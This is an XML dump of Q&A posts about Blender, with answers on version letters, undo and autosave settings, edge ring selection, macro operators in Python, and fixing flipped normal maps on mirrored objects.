  <row Id="3033" PostTypeId="2" ParentId="3030" CreationDate="2013-09-20T19:50:11.100" Score="5" Body="&lt;p&gt;AFAIK, the letter doesn't stand for anything. It is appended to the version number when there is a bug fix release with minor changes after the initial release, and incremented with subsequent bug fix releases. So &lt;code&gt;2.49b&lt;/code&gt; is the latest version of &lt;code&gt;2.49&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The date refers to the last time the directory or file on the server was modified:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nc24g.png&quot; alt=&quot;Screenshot of server&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="12" LastEditDate="2013-09-22T18:01:08.190" LastActivityDate="2013-09-22T18:01:08.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3034" PostTypeId="5" CreationDate="2013-09-20T20:05:12.927" Score="0" Body="" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-09-20T20:05:12.927" LastActivityDate="2013-09-20T20:05:12.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3035" PostTypeId="4" CreationDate="2013-09-20T20:05:12.927" Score="0" Body="Questions related to different versions of blender." OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-09-20T20:05:12.927" LastActivityDate="2013-09-20T20:05:12.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3036" PostTypeId="2" ParentId="3026" CreationDate="2013-09-20T20:29:33.550" Score="3" Body="&lt;p&gt;I tend to save frequently, mostly with different file names. This way I can have named restore points. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example when working on a model and about to make destructive changes then I might save the type of change as a postfix to the filename.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;armchair_00.blend&#xA;armchair_01.blend&#xA;armchair_02.blend&#xA;armchair_03.blend&#xA;armchair_04_legs.blend&#xA;armchair_05.blend&#xA;armchair_06.blend&#xA;armchair_07_back.blend&#xA;armchair_08.blend&#xA;armchair_09_decoration.blend&#xA;armchair_10_back.blend&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This requires a bit of conscious effort on saving and thinking ahead, but it can save you much grief if you find out the undo doesn't go back to where you want. &#xA;The downside to this method is that you can get rather many files in your project directory, a solution is to regularly prune older versions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Gandalf3 points out that you can make the sequential naming a piece of cake by using the &lt;code&gt;+&lt;/code&gt; and &lt;code&gt;-&lt;/code&gt; buttons in the File Save window.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ofyJl.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also use &lt;kbd&gt;+&lt;/kbd&gt; and &lt;kbd&gt;-&lt;/kbd&gt; on the numpad to increment the number. Hold &lt;kbd&gt;Shift&lt;/kbd&gt; to increment by 10, and hold &lt;kbd&gt;Ctrl&lt;/kbd&gt; to increment by 100&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="599" LastEditDate="2013-09-22T02:44:20.373" LastActivityDate="2013-09-22T02:44:20.373" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3037" PostTypeId="2" ParentId="3032" CreationDate="2013-09-20T20:34:48.247" Score="10" Body="&lt;p&gt;Macro Operators are a way to achieve this (see script below, this does pretty much what you describe). They allow you to concatenate modal and non-modal operators.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that adding an object and deleting it right away repeatedly can lead to a lot of 0-user objects accumulating in bpy.data.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from bpy.types import Operator, Macro&#xA;from bpy.props import *&#xA;&#xA;class TranslateCursorMacro(Macro):&#xA;    &quot;&quot;&quot;Overall macro for combining move and cursor operators&quot;&quot;&quot;&#xA;    bl_idname = &quot;object.translate_cursor_macro&quot;&#xA;    bl_label = &quot;Translate Cursor&quot;&#xA;    bl_options = {'REGISTER', 'UNDO'}&#xA;&#xA;    @classmethod&#xA;    def poll(cls, context):&#xA;        if not context.active_object:&#xA;            return False&#xA;        return True&#xA;&#xA;&#xA;def _find_prev_object(ptr):&#xA;    for ob in bpy.data.objects:&#xA;        if str(ob.as_pointer()) == ptr:&#xA;            return ob&#xA;&#xA;class RememberObject(Operator):&#xA;    &quot;&quot;&quot;Store active object&quot;&quot;&quot;&#xA;    bl_idname = &quot;object.remember_object&quot;&#xA;    bl_label = &quot;Remember Object&quot;&#xA;&#xA;    def execute(self, context):&#xA;        # XXX This is not super nice, but we don't have real&#xA;        # properties shared between macro component operators.&#xA;        # In an addon this might be stored as a module-level&#xA;        # python variable. Store as string because integer is&#xA;        # only 32 bit and may truncate 64 bit pointer.&#xA;        context.scene[&quot;_prev_object&quot;] = str(context.active_object.as_pointer())&#xA;        return {'FINISHED'}&#xA;&#xA;class DeleteNoQuestionsObject(Operator):&#xA;    &quot;&quot;&quot;Delete object without asking&quot;&quot;&quot;&#xA;    bl_idname = &quot;object.delete_no_questions&quot;&#xA;    bl_label = &quot;Delete Object&quot;&#xA;&#xA;    def execute(self, context):&#xA;        # XXX The usual bpy.ops operator opens a popup&#xA;        # when invoke. Use this wrapper to avoid that.&#xA;        bpy.ops.object.delete('EXEC_DEFAULT')&#xA;        return {'FINISHED'}&#xA;&#xA;class SelectPreviousObject(Operator):&#xA;    &quot;&quot;&quot;Select previous object&quot;&quot;&quot;&#xA;    bl_idname = &quot;object.select_previous_object&quot;&#xA;    bl_label = &quot;Select Previous Object&quot;&#xA;&#xA;    def execute(self, context):&#xA;        ptr = context.scene.get(&quot;_prev_object&quot;, None)&#xA;        if ptr is None:&#xA;            return {'CANCELLED'}&#xA;        del context.scene[&quot;_prev_object&quot;] # cleanup&#xA;        ob = _find_prev_object(ptr)&#xA;        if not ob:&#xA;            self.report({&quot;WARNING&quot;}, &quot;Previous object not found&quot;)&#xA;            return {'CANCELLED'}&#xA;&#xA;        for tob in bpy.data.objects:&#xA;            tob.select = (tob == ob)&#xA;        context.scene.objects.active = ob&#xA;        return {'FINISHED'}&#xA;&#xA;&#xA;bpy.utils.register_class(TranslateCursorMacro)&#xA;bpy.utils.register_class(RememberObject)&#xA;bpy.utils.register_class(DeleteNoQuestionsObject)&#xA;bpy.utils.register_class(SelectPreviousObject)&#xA;&#xA;TranslateCursorMacro.define(&quot;OBJECT_OT_remember_object&quot;)&#xA;TranslateCursorMacro.define(&quot;MESH_OT_primitive_uv_sphere_add&quot;)&#xA;TranslateCursorMacro.define(&quot;TRANSFORM_OT_translate&quot;)&#xA;TranslateCursorMacro.define(&quot;VIEW3D_OT_snap_cursor_to_active&quot;)&#xA;TranslateCursorMacro.define(&quot;OBJECT_OT_delete_no_questions&quot;)&#xA;TranslateCursorMacro.define(&quot;OBJECT_OT_select_previous_object&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="436" LastEditorUserId="242" LastEditDate="2013-10-04T15:42:34.343" LastActivityDate="2013-10-04T15:42:34.343" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="3038" PostTypeId="1" AcceptedAnswerId="3039" CreationDate="2013-09-20T20:37:29.387" Score="8" ViewCount="2733" Body="&lt;p&gt;When trying to select multiple edge-rings &lt;kbd&gt;Shift&lt;/kbd&gt;-&lt;kbd&gt;Alt&lt;/kbd&gt;-&lt;kbd&gt;RMB&lt;/kbd&gt; sometimes loops get selected in the one (green) way or the other (red) way. &#xA;I couldn't derive a general rule. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can two or more face-rings following one direction be selected ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Easy to reproduce with a default torus mesh.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mEdDE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="12" LastEditDate="2013-09-20T21:03:12.550" LastActivityDate="2016-10-09T09:31:50.083" Title="How can edge rings be selected in a predictable way?" Tags="&lt;modeling&gt;&lt;selection-tools&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3039" PostTypeId="2" ParentId="3038" CreationDate="2013-09-20T20:40:11.707" Score="9" Body="&lt;p&gt;The direction is determined from the edge your mouse is over when you click.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;RMB&lt;/kbd&gt; clicking an edge will select the face loop perpendicular to the edge clicked:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LoIUl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Bdk7R.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-09-20T20:47:26.870" LastActivityDate="2013-09-20T20:47:26.870" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3040" PostTypeId="2" ParentId="3026" CreationDate="2013-09-20T21:11:11.583" Score="28" Body="&lt;p&gt;As mentioned on the &lt;a href=&quot;https://archive.blender.org/wiki/index.php/Doc:2.6/Manual/Vitals/Undo_and_Redo/&quot; rel=&quot;noreferrer&quot;&gt;Blender wiki page on undo&lt;/a&gt;, there is the &lt;a href=&quot;https://archive.blender.org/wiki/index.php/Doc:2.6/Manual/Vitals/Undo_and_Redo#Options_for_Actions_.28User_Level.29&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;User level&lt;/em&gt;&lt;/a&gt; of undo, and the &lt;a href=&quot;https://archive.blender.org/wiki/index.php/Doc:2.6/Manual/Vitals/Undo_and_Redo#Options_for_Files_.28System_Level.29&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;System level&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;User level:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Expanding on the existing answers, You can configure the number of undo steps in &lt;em&gt;User Preferences &gt; Editing&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jwwgr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or &lt;em&gt;Preferences &gt; System &gt; Memory &amp;amp; Limits&lt;/em&gt; in 2.8:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/5kTUj.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/5kTUj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, this value is &lt;a href=&quot;https://lists.blender.org/pipermail/bf-funboard/2014-June/005841.html&quot; rel=&quot;noreferrer&quot;&gt;arbitrarily limited to &lt;strike&gt;64&lt;/strike&gt;&lt;/a&gt; &lt;a href=&quot;https://developer.blender.org/rBSfa9e42b57d9b4c846528ee2ab0dd5e6912392ad1&quot; rel=&quot;noreferrer&quot;&gt;256&lt;/a&gt;, or the &lt;em&gt;Memory limit&lt;/em&gt; value. In other words, &lt;em&gt;Steps&lt;/em&gt; is the maximum possible amount of undo steps, no matter what the &lt;em&gt;Memory limit&lt;/em&gt; is set at.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that edit mode undo steps and object mode undo steps are stored separately, so you can have 256 edit mode undo steps and simultaneously have 256 object mode undo steps. (if you have enough memory)&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;System level:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;You could use &lt;a href=&quot;https://archive.blender.org/wiki/index.php/Doc:2.6/Manual/Vitals/Undo_and_Redo#Options_for_Files_.28System_Level.29&quot; rel=&quot;noreferrer&quot;&gt;blenders autosave features&lt;/a&gt; to do something like zeffi suggested automatically.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;&lt;p&gt;&lt;strong&gt;Save on Quit&lt;/strong&gt;&lt;br&gt;&#xA;  The function Save on Quit is enabled by default in Blender. Blender will always save your files when you quit the application&#xA;  under normal operation. &lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;&lt;strong&gt;Save Versions&lt;/strong&gt;&lt;br&gt;&#xA;  This option tells Blender to keep the indicated number of saved versions of your file in your current working directory when you&#xA;  manually save a file. These files will have the extension: .blend1,&#xA;  .blend2, etc., with the number increasing to the number of versions&#xA;  you specify. Older files will be named with a higher number. e.g. With&#xA;  the default setting of 2, you will have three versions of your file:&#xA;  *.blend (your last save), *.blend1 (your second last save) and *.blend2 (your third last save). &lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;&lt;strong&gt;Auto Save Temporary Files&lt;/strong&gt;&lt;br&gt;&#xA;  Checking this box tells Blender to automatically save a backup copy of your work-in-progress to the Temp directory (refer to the File&#xA;  panel in the User Preferences window for its location). This will also&#xA;  enable the Timer(mins) control which specifies the number of minutes&#xA;  between each Auto Save. The default value of the Blender installation&#xA;  is 5 (5 minutes). The minimum is 1, and the Maximum is 60 (Save at&#xA;  every one hour).The Auto Saved files are named using a random number&#xA;  and have a .blend extension.&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Settings are in &lt;em&gt;User preferences &gt; File&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zjyjD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or &lt;em&gt;Preferences &gt; Save &amp;amp; Load&lt;/em&gt; in 2.8:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/WPszL.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WPszL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I personally use a combination of automated saving and manual saving, and always save or at least duplicate the object when doing something destructive such as applying a modifier.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;sup&gt;&lt;em&gt;Images are from the wiki&lt;/em&gt;&lt;/sup&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2019-09-11T23:55:38.800" LastActivityDate="2019-09-11T23:55:38.800" CommentCount="12" ContentLicense="CC BY-SA 4.0" />
  <row Id="3041" PostTypeId="2" ParentId="3025" CreationDate="2013-09-20T21:19:42.300" Score="8" Body="&lt;p&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;LMB&lt;/kbd&gt; on a panel header will close all other panels.&lt;/p&gt;&#xA;" OwnerUserId="436" LastEditorUserId="185" LastEditDate="2013-09-21T05:51:19.637" LastActivityDate="2013-09-21T05:51:19.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3042" PostTypeId="2" ParentId="3025" CreationDate="2013-09-21T06:44:33.433" Score="2" Body="&lt;p&gt;Since this question is tagged with &lt;a href=&quot;/questions/tagged/python-api&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged 'python-api'&quot; rel=&quot;tag&quot;&gt;python-api&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently the Python API can't handle opening and closing panels (it's possible but not exposed, in general Python scripts should not care about which panels are open).&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="12" LastEditDate="2013-09-21T17:02:51.393" LastActivityDate="2013-09-21T17:02:51.393" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3043" PostTypeId="1" CreationDate="2013-09-21T07:45:40.853" Score="8" ViewCount="1788" Body="&lt;p&gt;&amp;nbsp;&amp;nbsp;I want to put a list with progression bars into a panel or somewhere else. Is it possible to place a custom image next to text? Or draw progress bars like the one in the header somewhere else?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found this line in space_info.py:    layout.template_running_jobs()&#xA;but I'm not clear about how to find the corresponding code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&amp;nbsp;&amp;nbsp;My workarounds would be to use a crude text version of a progress bar or a slider. But my ideal thing would be a bar with colors of my own choosing.&lt;/p&gt;&#xA;" OwnerUserId="1077" LastEditorUserId="1077" LastEditDate="2013-09-21T07:50:44.467" LastActivityDate="2013-09-23T09:58:02.793" Title="How can I visualize progress in a panel?" Tags="&lt;python&gt;&lt;interface&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3044" PostTypeId="2" ParentId="3043" CreationDate="2013-09-21T12:29:56.437" Score="1" Body="&lt;p&gt;&lt;strong&gt;No&lt;/strong&gt; you can't (not without fairly bad hacks at least).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As of 2.69 this is a limitation in the Python API, &lt;code&gt;layout.template_running_jobs()&lt;/code&gt; shows progress for blenders job system which Python has no access to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can however control the mouse cursor to &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_68_release/bpy.types.WindowManager.html?highlight=progress#bpy.types.WindowManager.progress_begin&quot; rel=&quot;nofollow&quot;&gt;display progress&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-09-21T12:29:56.437" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3045" PostTypeId="1" AcceptedAnswerId="3050" CreationDate="2013-09-21T16:49:42.897" Score="8" ViewCount="689" Body="&lt;p&gt;Is it possible to add a marker to a &lt;strong&gt;strip&lt;/strong&gt; in the VSE? I don't want to add the marker to the timeline with &lt;kbd&gt;m&lt;/kbd&gt;, but to the selected strip, e.g. to mark possible cut positions to choose from. Something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ai6cm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="87" LastEditorUserId="599" LastEditDate="2013-09-21T19:29:30.993" LastActivityDate="2013-09-22T03:58:41.540" Title="Add marker to a strip" Tags="&lt;interface&gt;&lt;video-sequence-editor&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3046" PostTypeId="1" CreationDate="2013-09-21T18:09:01.233" Score="4" ViewCount="649" Body="&lt;p&gt;I have just made some animation on object (applied some Rot, Scale, Transform keys on different frames so object is performing motion) and suddenly it is understood that object must have some other proportions (a little bit more). The question is: how to change geometry of such an object without affecting (remove, change or other actions) all animation keys?&lt;/p&gt;&#xA;" OwnerUserId="1321" LastActivityDate="2013-09-21T23:04:01.813" Title="Modify object's geometry after animation has been applied" Tags="&lt;animation&gt;&lt;geometry&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3047" PostTypeId="2" ParentId="3045" CreationDate="2013-09-21T21:58:58.120" Score="1" Body="&lt;p&gt;&amp;nbsp;&amp;nbsp;One workaround for this is to cut the strip soft. Place the green time cursor where you might want to cut, then hit &lt;kbd&gt;K&lt;/kbd&gt;. By selecting both ends of the cut, you can move the cut around, since both strips keep their original length under the hood.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&amp;nbsp;&amp;nbsp;Until you delete or move one of the strips, the cut is not noticable. and you can always restor one of them to full length.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Xbxye.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1077" LastEditorUserId="1077" LastEditDate="2013-09-21T22:11:36.227" LastActivityDate="2013-09-21T22:11:36.227" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3048" PostTypeId="2" ParentId="3046" CreationDate="2013-09-21T23:04:01.813" Score="1" Body="&lt;p&gt;One trick you can use is to parent it to an &lt;strong&gt;Empty&lt;/strong&gt; object. Any transformation to an object will affect any other object parented to it, compounding their own transformation without needing to change any single keyframe. And an Empty is the simplest to setup as the parent, for such purpose.&lt;/p&gt;&#xA;" OwnerUserId="185" LastActivityDate="2013-09-21T23:04:01.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3049" PostTypeId="1" AcceptedAnswerId="3063" CreationDate="2013-09-22T03:05:24.457" Score="5" ViewCount="2736" Body="&lt;p&gt;Running blender with either&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;blender --verbose&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;blender --debug-value&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;returns &lt;code&gt;Error: you must specify a verbosity level.&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Command_Line#Debug_Options%3a&quot; rel=&quot;noreferrer&quot;&gt;wiki page about command line options&lt;/a&gt; does not specify what these options do or what values they accept.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are some values that these options accept, and what do they do?&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-09-23T17:27:55.567" LastActivityDate="2013-09-24T04:20:56.353" Title="What values do the --verbose and --debug-value options accept?" Tags="&lt;command-line&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3050" PostTypeId="2" ParentId="3045" CreationDate="2013-09-22T03:58:41.540" Score="4" Body="&lt;p&gt;&lt;strong&gt;No&lt;/strong&gt;, video-editor strips don't have their own markers.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-09-22T03:58:41.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3051" PostTypeId="1" AcceptedAnswerId="3052" CreationDate="2013-09-22T08:38:45.867" Score="9" ViewCount="4103" Body="&lt;p&gt;As you know, Earth rotates around it's axis in an angle of 23.5 degrees. How do I make a sphere in Blender rotate like this?&lt;/p&gt;&#xA;" OwnerUserId="1325" LastEditorUserId="12" LastEditDate="2013-09-22T14:34:35.680" LastActivityDate="2016-02-06T15:23:38.190" Title="Orbiting around axis at an angle" Tags="&lt;animation&gt;&lt;transforms&gt;" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3052" PostTypeId="2" ParentId="3051" CreationDate="2013-09-22T09:57:15.727" Score="7" Body="&lt;p&gt;Set the sphere's y-axis to 23.5 and &lt;em&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/User:Pepribal/Ref/Appendices/Rotation&quot; rel=&quot;nofollow noreferrer&quot;&gt;Rotation Mode&lt;/a&gt;&lt;/em&gt; to &lt;em&gt;ZYX Euler&lt;/em&gt;. After that you can rotate the sphere around its local z-axis. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set a keyframe with &lt;kbd&gt;I&lt;/kbd&gt; at frame 1 add another one at e.g. frame 240 with z-rotation set to 359.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/On5Pi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See also:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Transformations/Basics/Rotate&quot; rel=&quot;nofollow noreferrer&quot;&gt;Manual Rotation&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="29" LastEditorUserId="12" LastEditDate="2013-09-22T15:07:48.947" LastActivityDate="2013-09-22T15:07:48.947" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3053" PostTypeId="1" AcceptedAnswerId="3055" CreationDate="2013-09-22T19:47:58.513" Score="6" ViewCount="752" Body="&lt;p&gt;My model has a pair of objects, one a mirror image of the other, like bookends or a pair of wheels.  They use the same cycles nodes material involving a normal map.  Ridges on the one object appear as grooves in the other.  It looks as if the normal-x component and the mesh x coordinates aren't in sync.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that I prefer to use normals, rather than the Displacement input of the Material Output, due the nature of the work, fine details. I don't care about seeing bumps or groove profiles along the edges of the objects.  But I did try Displacement anyway, and got the same result.   The attached images might not be the perfect example, but shows the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought maybe &quot;Apply Transform&quot; might fix it, so each object has points in the same world coordinates, but nope, this didn't fix it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Added note: experimenting on a new scene, it seems that applying the transform causes the problem. For the example shown, I had already applied the transform a few weeks ago when starting the project.  So the question is: how to have ridges not grooves for an already-applied-transform mirrored object?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/g0P5p.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="606" LastEditorUserId="606" LastEditDate="2013-09-22T20:31:13.950" LastActivityDate="2013-09-22T23:53:58.933" Title="Why do normal map ridges become grooves in mirrored object?" Tags="&lt;cycles-render-engine&gt;&lt;normals&gt;&lt;mirror&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3054" PostTypeId="2" ParentId="2170" CreationDate="2013-09-22T20:57:37.047" Score="0" Body="&lt;p&gt;This might help..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;RENDERING :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.data.scenes['Scene'].render.filepath='file1' # directory and name&#xA;bpy.data.scenes['Scene'].render.resolution_x=width&#xA;bpy.data.scenes['Scene'].render.resolution_y=height&#xA;bpy.data.scenes['Scene'].render.pixel_aspect_x=1.0&#xA;bpy.data.scenes['Scene'].render.pixel_aspect_y=1.0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;IMAGES :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;image=bpy.data.images['image02'] # image02 as seen in uv editor&#xA;imageR=bpy.data.images['Render Result'] # useless, so bad&#xA;width=image.size[0]&#xA;height=image.size[1]&#xA;&#xA;PIXELS=[0.0 for i in range(len(image.pixels))]&#xA;# len(image.pixels) == width * height * 3 ( or 4 with the alpha channel )&#xA;&#xA;# here, work with PIXELS&#xA;image.pixels=PIXELS&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1326" LastEditorUserId="12" LastEditDate="2013-09-22T21:44:42.660" LastActivityDate="2013-09-22T21:44:42.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3055" PostTypeId="2" ParentId="3053" CreationDate="2013-09-22T22:31:32.043" Score="8" Body="&lt;p&gt;I think the negative scaling is getting applied, flipping the normals inside out. Try going into edit mode on the object where the normals are incorrect, selecting everything and doing &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;F&lt;/kbd&gt; &gt; &lt;em&gt;Flip normals&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="390" LastEditorUserId="12" LastEditDate="2013-09-22T23:53:58.933" LastActivityDate="2013-09-22T23:53:58.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3056" PostTypeId="2" ParentId="3043" CreationDate="2013-09-23T07:30:48.763" Score="1" Body="&lt;p&gt;I haven't ever done this so it's just a thought, but could you use &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_68_release/bpy.types.UILayout.html?highlight=split#bpy.types.UILayout.split&quot; rel=&quot;nofollow&quot;&gt;layout.split&lt;/a&gt; with increasing percentages as a slightly less crude progress bar? Perhaps with a blank operator button on the left and an empty label (or button with emboss=False) on the right. This should automatically stretch to fill the available space in the panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Search for 'split' in the &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:2.5/Py/Scripts/Cookbook/Code_snippets/Interface&quot; rel=&quot;nofollow&quot;&gt;Cookbook Code Snippets&lt;/a&gt; for some example usage.&lt;/p&gt;&#xA;" OwnerUserId="9" LastEditorUserId="9" LastEditDate="2013-09-23T09:58:02.793" LastActivityDate="2013-09-23T09:58:02.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
